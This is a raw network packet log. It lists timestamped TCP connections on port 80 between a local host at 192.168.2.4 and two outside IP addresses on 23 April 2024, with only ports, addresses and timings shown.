Apr 23, 2024 09:38:07.622265100 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622299910 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622306108 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.622334957 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622370958 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622380018 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.622406960 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622442961 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622447968 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.622492075 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622529984 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622534990 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.622567892 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622606993 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622612000 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.622642994 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622682095 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622690916 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.622718096 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622756004 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622760057 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.622791052 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622827053 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622837067 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.622864008 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622900009 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622906923 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.622936964 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622975111 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622981071 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.623009920 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623045921 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623049021 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.623080969 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623116016 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623122931 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.623152018 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623188019 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623191118 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.623223066 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623302937 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623307943 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.623337984 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623377085 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623383045 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.623414040 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623449087 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623459101 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.623486042 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623521090 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623528004 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.623558044 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623593092 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623600006 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.623632908 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623670101 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623676062 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.623707056 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623745918 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623750925 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.623780966 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623816967 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623822927 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.623852015 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623888016 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623915911 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.623928070 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623961926 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.623986006 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.623996019 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624033928 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624041080 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.624069929 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624106884 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.624124050 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624160051 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624196053 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624202013 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.624233007 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624267101 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624293089 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.624304056 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624341965 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624346972 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.624377966 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624414921 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624427080 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.624450922 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624486923 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624496937 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.624522924 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624558926 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624572992 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.624597073 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624633074 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624644995 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.624669075 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624680042 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.624706030 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624711990 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.624742031 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624747038 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.624778986 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624783039 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.624814034 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624823093 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.624850988 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624855042 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.624886036 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624888897 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.624926090 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624928951 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.624962091 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624964952 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.624998093 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.624999046 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.625034094 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.625040054 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.625070095 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.625076056 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.625109911 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.625114918 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.625145912 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.625147104 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.625183105 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.625184059 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.625217915 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.625222921 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.625255108 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.625258923 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.625291109 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.625296116 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.625327110 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.625329971 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.625364065 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.625368118 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.625400066 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.625406027 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.625435114 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.625442982 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.625473022 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.625475883 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.625513077 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.729129076 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:07.729160070 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:07.846792936 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.846853971 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.846870899 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.846887112 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.846904039 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.846920967 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.846937895 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.846961021 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.846972942 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.846978903 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.846993923 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.847012043 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.847027063 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.847039938 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.847043991 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.847060919 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.847064018 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.847078085 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.847085953 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.847115040 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.847121954 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.847151041 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.847155094 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.847187042 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.847198963 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.847224951 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.847228050 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.847273111 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.848783970 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.848820925 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.848844051 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.848864079 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.848933935 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.848970890 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.848978996 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.849015951 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.849315882 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.849353075 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.849358082 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.849390030 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.849399090 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.849426985 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.849436045 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.849462986 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.849473953 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.849498034 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.849507093 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.849534988 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.849550009 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.849570990 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.849577904 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.849610090 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.849617958 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.849646091 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.849653959 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.849682093 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.849692106 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.849725008 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.849750042 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.849786997 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.849795103 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.849832058 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.849857092 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.849893093 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.849903107 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.849929094 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.849937916 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.849965096 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.849971056 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.850011110 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.855406046 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:07.855626106 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:07.858129978 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858166933 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858184099 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858201027 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858203888 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858217001 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858223915 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858233929 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858249903 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858266115 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858277082 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858280897 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858294010 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858299971 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858318090 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858319998 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858335018 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858355045 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858362913 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858371973 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858381033 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858390093 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858391047 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858398914 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858400106 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858445883 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858488083 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858503103 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858519077 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858522892 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858535051 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858540058 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858551025 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858553886 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858566999 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858573914 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858582020 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858598948 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858601093 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858618021 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858622074 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858633995 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858637094 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858649969 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858655930 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858666897 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858675003 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858684063 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858689070 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858699083 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858715057 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858717918 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858732939 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858733892 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858748913 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858764887 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858767986 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858781099 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858787060 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858797073 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858813047 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858815908 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858843088 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858849049 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858864069 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858866930 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858880043 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858896017 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858897924 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858911991 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858918905 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858928919 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858933926 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858944893 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858961105 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858962059 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858977079 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.858988047 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.858993053 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859015942 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859016895 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859033108 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859038115 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859050035 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859067917 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859069109 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859083891 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859101057 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859103918 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859117985 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859122992 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859133959 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859153032 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859154940 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859170914 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859172106 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859188080 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859189987 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859208107 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859210014 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859227896 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859230042 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859245062 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859250069 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859258890 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859261990 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859278917 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859281063 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859296083 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859302998 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859312057 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859318972 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859328032 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859334946 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859344006 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859345913 CEST	49734	80	192.168.2.4	176.97.76.106
